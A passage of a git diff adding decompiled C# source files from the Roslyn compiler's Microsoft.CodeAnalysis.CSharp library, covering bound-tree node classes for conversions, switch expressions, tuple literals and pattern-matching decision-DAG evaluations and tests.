constantValueOpt, null, default(ImmutableArray), type) + { + WasCompilerGenerated = true + }; + } + + public static BoundConversion Synthesized(SyntaxNode syntax, BoundExpression operand, Conversion conversion, bool @checked, bool explicitCastInCode, ConversionGroup? conversionGroupOpt, ConstantValue? constantValueOpt, TypeSymbol type, bool hasErrors = false) + { + return new BoundConversion(syntax, operand, conversion, @checked, explicitCastInCode, conversionGroupOpt, constantValueOpt, type, hasErrors || !conversion.IsValid) + { + WasCompilerGenerated = true + }; + } + + public BoundConversion(SyntaxNode syntax, BoundExpression operand, Conversion conversion, bool @checked, bool explicitCastInCode, ConversionGroup? conversionGroupOpt, ConstantValue? constantValueOpt, TypeSymbol type, bool hasErrors = false) + : this(syntax, operand, conversion, isBaseConversion: false, @checked, explicitCastInCode, constantValueOpt, conversionGroupOpt, conversion.OriginalUserDefinedConversions, type, hasErrors || !conversion.IsValid) + { + } + + public BoundConversion(SyntaxNode syntax, BoundExpression operand, Conversion conversion, bool isBaseConversion, bool @checked, bool explicitCastInCode, ConstantValue? constantValueOpt, ConversionGroup? conversionGroupOpt, TypeSymbol type, bool hasErrors = false) + : this(syntax, operand, conversion, isBaseConversion, @checked, explicitCastInCode, constantValueOpt, conversionGroupOpt, default(ImmutableArray), type, hasErrors) + { + } + + public BoundConversion Update(BoundExpression operand, Conversion conversion, bool isBaseConversion, bool @checked, bool explicitCastInCode, ConstantValue? constantValueOpt, ConversionGroup? conversionGroupOpt, TypeSymbol type) + { + return Update(operand, conversion, isBaseConversion, @checked, explicitCastInCode, constantValueOpt, conversionGroupOpt, OriginalUserDefinedConversionsOpt, type); + } + + public BoundConversion(SyntaxNode syntax, BoundExpression operand, Conversion conversion, bool isBaseConversion, bool @checked, bool explicitCastInCode, ConstantValue? constantValueOpt, ConversionGroup? conversionGroupOpt, ImmutableArray originalUserDefinedConversionsOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.Conversion, syntax, type, hasErrors || operand.HasErrors()) + { + Operand = operand; + Conversion = conversion; + IsBaseConversion = isBaseConversion; + Checked = @checked; + ExplicitCastInCode = explicitCastInCode; + ConstantValueOpt = constantValueOpt; + ConversionGroupOpt = conversionGroupOpt; + OriginalUserDefinedConversionsOpt = originalUserDefinedConversionsOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitConversion(this); + } + + public BoundConversion Update(BoundExpression operand, Conversion conversion, bool isBaseConversion, bool @checked, bool explicitCastInCode, ConstantValue? constantValueOpt, ConversionGroup? conversionGroupOpt, ImmutableArray originalUserDefinedConversionsOpt, TypeSymbol type) + { + if (operand != Operand || conversion != Conversion || isBaseConversion != IsBaseConversion || @checked != Checked || explicitCastInCode != ExplicitCastInCode || constantValueOpt != ConstantValueOpt || conversionGroupOpt != ConversionGroupOpt || originalUserDefinedConversionsOpt != OriginalUserDefinedConversionsOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundConversion boundConversion = new BoundConversion(Syntax, operand, conversion, isBaseConversion, @checked, explicitCastInCode, constantValueOpt, conversionGroupOpt, originalUserDefinedConversionsOpt, type, base.HasErrors); + boundConversion.CopyAttributes(this); + return boundConversion; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConvertedStackAllocExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConvertedStackAllocExpression.cs new file mode 100644 index 0000000..fc42024 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConvertedStackAllocExpression.cs @@ -0,0 +1,34 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundConvertedStackAllocExpression : BoundStackAllocArrayCreationBase +{ + protected override ImmutableArray Children => StaticCast.From(BoundStackAllocArrayCreationBase.GetChildInitializers(base.InitializerOpt).Insert(0, base.Count)); + + public new TypeSymbol Type => base.Type; + + public BoundConvertedStackAllocExpression(SyntaxNode syntax, TypeSymbol elementType, BoundExpression count, BoundArrayInitialization? initializerOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ConvertedStackAllocExpression, syntax, elementType, count, initializerOpt, type, hasErrors || count.HasErrors() || initializerOpt.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitConvertedStackAllocExpression(this); + } + + public BoundConvertedStackAllocExpression Update(TypeSymbol elementType, BoundExpression count, BoundArrayInitialization? initializerOpt, TypeSymbol type) + { + if (!TypeSymbol.Equals(elementType, base.ElementType, (TypeCompareKind)0) || count != base.Count || initializerOpt != base.InitializerOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundConvertedStackAllocExpression boundConvertedStackAllocExpression = new BoundConvertedStackAllocExpression(Syntax, elementType, count, initializerOpt, type, base.HasErrors); + boundConvertedStackAllocExpression.CopyAttributes(this); + return boundConvertedStackAllocExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConvertedSwitchExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConvertedSwitchExpression.cs new file mode 100644 index 0000000..d071e45 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConvertedSwitchExpression.cs @@ -0,0 +1,38 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundConvertedSwitchExpression : BoundSwitchExpression +{ + public new TypeSymbol Type => base.Type; + + public TypeSymbol? NaturalTypeOpt { get; } + + public bool WasTargetTyped { get; } + + public BoundConvertedSwitchExpression(SyntaxNode syntax, TypeSymbol? naturalTypeOpt, bool wasTargetTyped, BoundExpression expression, ImmutableArray switchArms, BoundDecisionDag reachabilityDecisionDag, LabelSymbol? defaultLabel, bool reportedNotExhaustive, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ConvertedSwitchExpression, syntax, expression, switchArms, reachabilityDecisionDag, defaultLabel, reportedNotExhaustive, type, hasErrors || expression.HasErrors() || switchArms.HasErrors() || reachabilityDecisionDag.HasErrors()) + { + NaturalTypeOpt = naturalTypeOpt; + WasTargetTyped = wasTargetTyped; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitConvertedSwitchExpression(this); + } + + public BoundConvertedSwitchExpression Update(TypeSymbol? naturalTypeOpt, bool wasTargetTyped, BoundExpression expression, ImmutableArray switchArms, BoundDecisionDag reachabilityDecisionDag, LabelSymbol? defaultLabel, bool reportedNotExhaustive, TypeSymbol type) + { + if (!TypeSymbol.Equals(naturalTypeOpt, NaturalTypeOpt, (TypeCompareKind)0) || wasTargetTyped != WasTargetTyped || expression != base.Expression || switchArms != base.SwitchArms || reachabilityDecisionDag != base.ReachabilityDecisionDag || !SymbolEqualityComparer.ConsiderEverything.Equals(defaultLabel, base.DefaultLabel) || reportedNotExhaustive != base.ReportedNotExhaustive || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundConvertedSwitchExpression boundConvertedSwitchExpression = new BoundConvertedSwitchExpression(Syntax, naturalTypeOpt, wasTargetTyped, expression, switchArms, reachabilityDecisionDag, defaultLabel, reportedNotExhaustive, type, base.HasErrors); + boundConvertedSwitchExpression.CopyAttributes(this); + return boundConvertedSwitchExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConvertedTupleLiteral.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConvertedTupleLiteral.cs new file mode 100644 index 0000000..e767159 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConvertedTupleLiteral.cs @@ -0,0 +1,36 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundConvertedTupleLiteral : BoundTupleExpression +{ + public BoundTupleLiteral? SourceTuple { get; } + + public bool WasTargetTyped { get; } + + public BoundConvertedTupleLiteral(SyntaxNode syntax, BoundTupleLiteral? sourceTuple, bool wasTargetTyped, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray inferredNamesOpt, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.ConvertedTupleLiteral, syntax, arguments, argumentNamesOpt, inferredNamesOpt, type, hasErrors || sourceTuple.HasErrors() || arguments.HasErrors()) + { + SourceTuple = sourceTuple; + WasTargetTyped = wasTargetTyped; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitConvertedTupleLiteral(this); + } + + public BoundConvertedTupleLiteral Update(BoundTupleLiteral? sourceTuple, bool wasTargetTyped, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray inferredNamesOpt, TypeSymbol? type) + { + if (sourceTuple != SourceTuple || wasTargetTyped != WasTargetTyped || arguments != base.Arguments || argumentNamesOpt != base.ArgumentNamesOpt || inferredNamesOpt != base.InferredNamesOpt || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundConvertedTupleLiteral boundConvertedTupleLiteral = new BoundConvertedTupleLiteral(Syntax, sourceTuple, wasTargetTyped, arguments, argumentNamesOpt, inferredNamesOpt, type, base.HasErrors); + boundConvertedTupleLiteral.CopyAttributes(this); + return boundConvertedTupleLiteral; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagAssignmentEvaluation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagAssignmentEvaluation.cs new file mode 100644 index 0000000..4d6c3f5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagAssignmentEvaluation.cs @@ -0,0 +1,46 @@ +using System.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagAssignmentEvaluation : BoundDagEvaluation +{ + public BoundDagTemp Target { get; } + + public override int GetHashCode() + { + return Hash.Combine(base.GetHashCode(), Target.GetHashCode()); + } + + public override bool IsEquivalentTo(BoundDagEvaluation obj) + { + if (base.IsEquivalentTo(obj)) + { + return Target.Equals(((BoundDagAssignmentEvaluation)obj).Target); + } + return false; + } + + public BoundDagAssignmentEvaluation(SyntaxNode syntax, BoundDagTemp target, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagAssignmentEvaluation, syntax, input, hasErrors || target.HasErrors() || input.HasErrors()) + { + Target = target; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagAssignmentEvaluation(this); + } + + public BoundDagAssignmentEvaluation Update(BoundDagTemp target, BoundDagTemp input) + { + if (target != Target || input != base.Input) + { + BoundDagAssignmentEvaluation boundDagAssignmentEvaluation = new BoundDagAssignmentEvaluation(Syntax, target, input, base.HasErrors); + boundDagAssignmentEvaluation.CopyAttributes(this); + return boundDagAssignmentEvaluation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagDeconstructEvaluation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagDeconstructEvaluation.cs new file mode 100644 index 0000000..50d156b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagDeconstructEvaluation.cs @@ -0,0 +1,32 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagDeconstructEvaluation : BoundDagEvaluation +{ + public MethodSymbol DeconstructMethod { get; } + + public BoundDagDeconstructEvaluation(SyntaxNode syntax, MethodSymbol deconstructMethod, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagDeconstructEvaluation, syntax, input, hasErrors || input.HasErrors()) + { + DeconstructMethod = deconstructMethod; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagDeconstructEvaluation(this); + } + + public BoundDagDeconstructEvaluation Update(MethodSymbol deconstructMethod, BoundDagTemp input) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(deconstructMethod, DeconstructMethod) || input != base.Input) + { + BoundDagDeconstructEvaluation boundDagDeconstructEvaluation = new BoundDagDeconstructEvaluation(Syntax, deconstructMethod, input, base.HasErrors); + boundDagDeconstructEvaluation.CopyAttributes(this); + return boundDagDeconstructEvaluation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagEvaluation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagEvaluation.cs new file mode 100644 index 0000000..9c949a9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagEvaluation.cs @@ -0,0 +1,104 @@ +using System.Diagnostics.CodeAnalysis; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundDagEvaluation : BoundDagTest +{ + private Symbol? Symbol + { + get + { + if (!(this is BoundDagFieldEvaluation boundDagFieldEvaluation)) + { + if (!(this is BoundDagPropertyEvaluation boundDagPropertyEvaluation)) + { + if (!(this is BoundDagTypeEvaluation boundDagTypeEvaluation)) + { + if (!(this is BoundDagDeconstructEvaluation boundDagDeconstructEvaluation)) + { + if (!(this is BoundDagIndexEvaluation boundDagIndexEvaluation)) + { + if (!(this is BoundDagSliceEvaluation boundDagSliceEvaluation)) + { + if (!(this is BoundDagIndexerEvaluation boundDagIndexerEvaluation)) + { + if (this is BoundDagAssignmentEvaluation) + { + return null; + } + throw ExceptionUtilities.UnexpectedValue((object)base.Kind); + } + return getSymbolFromIndexerAccess(boundDagIndexerEvaluation.IndexerAccess); + } + return getSymbolFromIndexerAccess(boundDagSliceEvaluation.IndexerAccess); + } + return boundDagIndexEvaluation.Property; + } + return boundDagDeconstructEvaluation.DeconstructMethod; + } + return boundDagTypeEvaluation.Type; + } + return boundDagPropertyEvaluation.Property; + } + return boundDagFieldEvaluation.Field.CorrespondingTupleField ?? boundDagFieldEvaluation.Field; + static Symbol? getSymbolFromIndexerAccess(BoundExpression indexerAccess) + { + if (indexerAccess is BoundArrayAccess boundArrayAccess) + { + return boundArrayAccess.Expression.Type; + } + if (indexerAccess is BoundImplicitIndexerAccess { IndexerOrSliceAccess: BoundArrayAccess indexerOrSliceAccess }) + { + return indexerOrSliceAccess.Expression.Type; + } + return Binder.GetIndexerOrImplicitIndexerSymbol(indexerAccess); + } + } + } + + public sealed override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is BoundDagEvaluation other) + { + return Equals(other); + } + return false; + } + + public bool Equals(BoundDagEvaluation other) + { + if (this != other) + { + if (IsEquivalentTo(other)) + { + return base.Input.Equals(other.Input); + } + return false; + } + return true; + } + + public virtual bool IsEquivalentTo(BoundDagEvaluation other) + { + if (this != other) + { + if (base.Kind == other.Kind) + { + return Microsoft.CodeAnalysis.CSharp.Symbol.Equals(Symbol, other.Symbol, (TypeCompareKind)63); + } + return false; + } + return true; + } + + public override int GetHashCode() + { + return Hash.Combine(base.Input.GetHashCode(), Symbol?.GetHashCode() ?? 0); + } + + protected BoundDagEvaluation(BoundKind kind, SyntaxNode syntax, BoundDagTemp input, bool hasErrors = false) + : base(kind, syntax, input, hasErrors) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagExplicitNullTest.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagExplicitNullTest.cs new file mode 100644 index 0000000..4aa7985 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagExplicitNullTest.cs @@ -0,0 +1,28 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagExplicitNullTest : BoundDagTest +{ + public BoundDagExplicitNullTest(SyntaxNode syntax, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagExplicitNullTest, syntax, input, hasErrors || input.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagExplicitNullTest(this); + } + + public BoundDagExplicitNullTest Update(BoundDagTemp input) + { + if (input != base.Input) + { + BoundDagExplicitNullTest boundDagExplicitNullTest = new BoundDagExplicitNullTest(Syntax, input, base.HasErrors); + boundDagExplicitNullTest.CopyAttributes(this); + return boundDagExplicitNullTest; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagFieldEvaluation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagFieldEvaluation.cs new file mode 100644 index 0000000..6130b4c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagFieldEvaluation.cs @@ -0,0 +1,32 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagFieldEvaluation : BoundDagEvaluation +{ + public FieldSymbol Field { get; } + + public BoundDagFieldEvaluation(SyntaxNode syntax, FieldSymbol field, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagFieldEvaluation, syntax, input, hasErrors || input.HasErrors()) + { + Field = field; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagFieldEvaluation(this); + } + + public BoundDagFieldEvaluation Update(FieldSymbol field, BoundDagTemp input) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(field, Field) || input != base.Input) + { + BoundDagFieldEvaluation boundDagFieldEvaluation = new BoundDagFieldEvaluation(Syntax, field, input, base.HasErrors); + boundDagFieldEvaluation.CopyAttributes(this); + return boundDagFieldEvaluation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagIndexEvaluation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagIndexEvaluation.cs new file mode 100644 index 0000000..295349e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagIndexEvaluation.cs @@ -0,0 +1,49 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagIndexEvaluation : BoundDagEvaluation +{ + public PropertySymbol Property { get; } + + public int Index { get; } + + public override int GetHashCode() + { + return base.GetHashCode() ^ Index; + } + + public override bool IsEquivalentTo(BoundDagEvaluation obj) + { + if (base.IsEquivalentTo(obj)) + { + return Index == ((BoundDagIndexEvaluation)obj).Index; + } + return false; + } + + public BoundDagIndexEvaluation(SyntaxNode syntax, PropertySymbol property, int index, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagIndexEvaluation, syntax, input, hasErrors || input.HasErrors()) + { + Property = property; + Index = index; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagIndexEvaluation(this); + } + + public BoundDagIndexEvaluation Update(PropertySymbol property, int index, BoundDagTemp input) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(property, Property) || index != Index || input != base.Input) + { + BoundDagIndexEvaluation boundDagIndexEvaluation = new BoundDagIndexEvaluation(Syntax, property, index, input, base.HasErrors); + boundDagIndexEvaluation.CopyAttributes(this); + return boundDagIndexEvaluation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagIndexerEvaluation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagIndexerEvaluation.cs new file mode 100644 index 0000000..c6aa9bc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagIndexerEvaluation.cs @@ -0,0 +1,66 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagIndexerEvaluation : BoundDagEvaluation +{ + public TypeSymbol IndexerType { get; } + + public BoundDagTemp LengthTemp { get; } + + public int Index { get; } + + public BoundExpression IndexerAccess { get; } + + public BoundListPatternReceiverPlaceholder ReceiverPlaceholder { get; } + + public BoundListPatternIndexPlaceholder ArgumentPlaceholder { get; } + + public override int GetHashCode() + { + return base.GetHashCode() ^ Index; + } + + public override bool IsEquivalentTo(BoundDagEvaluation obj) + { + if (base.IsEquivalentTo(obj)) + { + return Index == ((BoundDagIndexerEvaluation)obj).Index; + } + return false; + } + + public BoundDagIndexerEvaluation(SyntaxNode syntax, TypeSymbol indexerType, BoundDagTemp lengthTemp, int index, BoundExpression indexerAccess, BoundListPatternReceiverPlaceholder receiverPlaceholder, BoundListPatternIndexPlaceholder argumentPlaceholder, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagIndexerEvaluation, syntax, input, hasErrors || lengthTemp.HasErrors() || indexerAccess.HasErrors() || receiverPlaceholder.HasErrors() || argumentPlaceholder.HasErrors() || input.HasErrors()) + { + IndexerType = indexerType; + LengthTemp = lengthTemp; + Index = index; + IndexerAccess = indexerAccess; + ReceiverPlaceholder = receiverPlaceholder; + ArgumentPlaceholder = argumentPlaceholder; + } + + [Conditional("DEBUG")] + private void Validate() + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagIndexerEvaluation(this); + } + + public BoundDagIndexerEvaluation Update(TypeSymbol indexerType, BoundDagTemp lengthTemp, int index, BoundExpression indexerAccess, BoundListPatternReceiverPlaceholder receiverPlaceholder, BoundListPatternIndexPlaceholder argumentPlaceholder, BoundDagTemp input) + { + if (!TypeSymbol.Equals(indexerType, IndexerType, (TypeCompareKind)0) || lengthTemp != LengthTemp || index != Index || indexerAccess != IndexerAccess || receiverPlaceholder != ReceiverPlaceholder || argumentPlaceholder != ArgumentPlaceholder || input != base.Input) + { + BoundDagIndexerEvaluation boundDagIndexerEvaluation = new BoundDagIndexerEvaluation(Syntax, indexerType, lengthTemp, index, indexerAccess, receiverPlaceholder, argumentPlaceholder, input, base.HasErrors); + boundDagIndexerEvaluation.CopyAttributes(this); + return boundDagIndexerEvaluation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagNonNullTest.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagNonNullTest.cs new file mode 100644 index 0000000..ee31ba4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagNonNullTest.cs @@ -0,0 +1,31 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagNonNullTest : BoundDagTest +{ + public bool IsExplicitTest { get; } + + public BoundDagNonNullTest(SyntaxNode syntax, bool isExplicitTest, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagNonNullTest, syntax, input, hasErrors || input.HasErrors()) + { + IsExplicitTest = isExplicitTest; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagNonNullTest(this); + } + + public BoundDagNonNullTest Update(bool isExplicitTest, BoundDagTemp input) + { + if (isExplicitTest != IsExplicitTest || input != base.Input) + { + BoundDagNonNullTest boundDagNonNullTest = new BoundDagNonNullTest(Syntax, isExplicitTest, input, base.HasErrors); + boundDagNonNullTest.CopyAttributes(this); + return boundDagNonNullTest; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagPropertyEvaluation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagPropertyEvaluation.cs new file mode 100644 index 0000000..942a690 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagPropertyEvaluation.cs @@ -0,0 +1,35 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagPropertyEvaluation : BoundDagEvaluation +{ + public PropertySymbol Property { get; } + + public bool IsLengthOrCount { get; } + + public BoundDagPropertyEvaluation(SyntaxNode syntax, PropertySymbol property, bool isLengthOrCount, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagPropertyEvaluation, syntax, input, hasErrors || input.HasErrors()) + { + Property = property; + IsLengthOrCount = isLengthOrCount; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagPropertyEvaluation(this); + } + + public BoundDagPropertyEvaluation Update(PropertySymbol property, bool isLengthOrCount, BoundDagTemp input) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(property, Property) || isLengthOrCount != IsLengthOrCount || input != base.Input) + { + BoundDagPropertyEvaluation boundDagPropertyEvaluation = new BoundDagPropertyEvaluation(Syntax, property, isLengthOrCount, input, base.HasErrors); + boundDagPropertyEvaluation.CopyAttributes(this); + return boundDagPropertyEvaluation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagRelationalTest.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagRelationalTest.cs new file mode 100644 index 0000000..3f4f8fe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagRelationalTest.cs @@ -0,0 +1,36 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagRelationalTest : BoundDagTest +{ + public BinaryOperatorKind Relation => OperatorKind.Operator(); + + public BinaryOperatorKind OperatorKind { get; } + + public ConstantValue Value { get; } + + public BoundDagRelationalTest(SyntaxNode syntax, BinaryOperatorKind operatorKind, ConstantValue value, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagRelationalTest, syntax, input, hasErrors || input.HasErrors()) + { + OperatorKind = operatorKind; + Value = value; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagRelationalTest(this); + } + + public BoundDagRelationalTest Update(BinaryOperatorKind operatorKind, ConstantValue value, BoundDagTemp input) + { + if (operatorKind != OperatorKind || value != Value || input != base.Input) + { + BoundDagRelationalTest boundDagRelationalTest = new BoundDagRelationalTest(Syntax, operatorKind, value, input, base.HasErrors); + boundDagRelationalTest.CopyAttributes(this); + return boundDagRelationalTest; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagSliceEvaluation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagSliceEvaluation.cs new file mode 100644 index 0000000..b8ca408 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagSliceEvaluation.cs @@ -0,0 +1,73 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagSliceEvaluation : BoundDagEvaluation +{ + public TypeSymbol SliceType { get; } + + public BoundDagTemp LengthTemp { get; } + + public int StartIndex { get; } + + public int EndIndex { get; } + + public BoundExpression IndexerAccess { get; } + + public BoundSlicePatternReceiverPlaceholder ReceiverPlaceholder { get; } + + public BoundSlicePatternRangePlaceholder ArgumentPlaceholder { get; } + + public override int GetHashCode() + { + return base.GetHashCode() ^ StartIndex ^ EndIndex; + } + + public override bool IsEquivalentTo(BoundDagEvaluation obj) + { + if (base.IsEquivalentTo(obj)) + { + BoundDagSliceEvaluation boundDagSliceEvaluation = (BoundDagSliceEvaluation)obj; + if (StartIndex == boundDagSliceEvaluation.StartIndex) + { + return EndIndex == boundDagSliceEvaluation.EndIndex; + } + } + return false; + } + + public BoundDagSliceEvaluation(SyntaxNode syntax, TypeSymbol sliceType, BoundDagTemp lengthTemp, int startIndex, int endIndex, BoundExpression indexerAccess, BoundSlicePatternReceiverPlaceholder receiverPlaceholder, BoundSlicePatternRangePlaceholder argumentPlaceholder, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagSliceEvaluation, syntax, input, hasErrors || lengthTemp.HasErrors() || indexerAccess.HasErrors() || 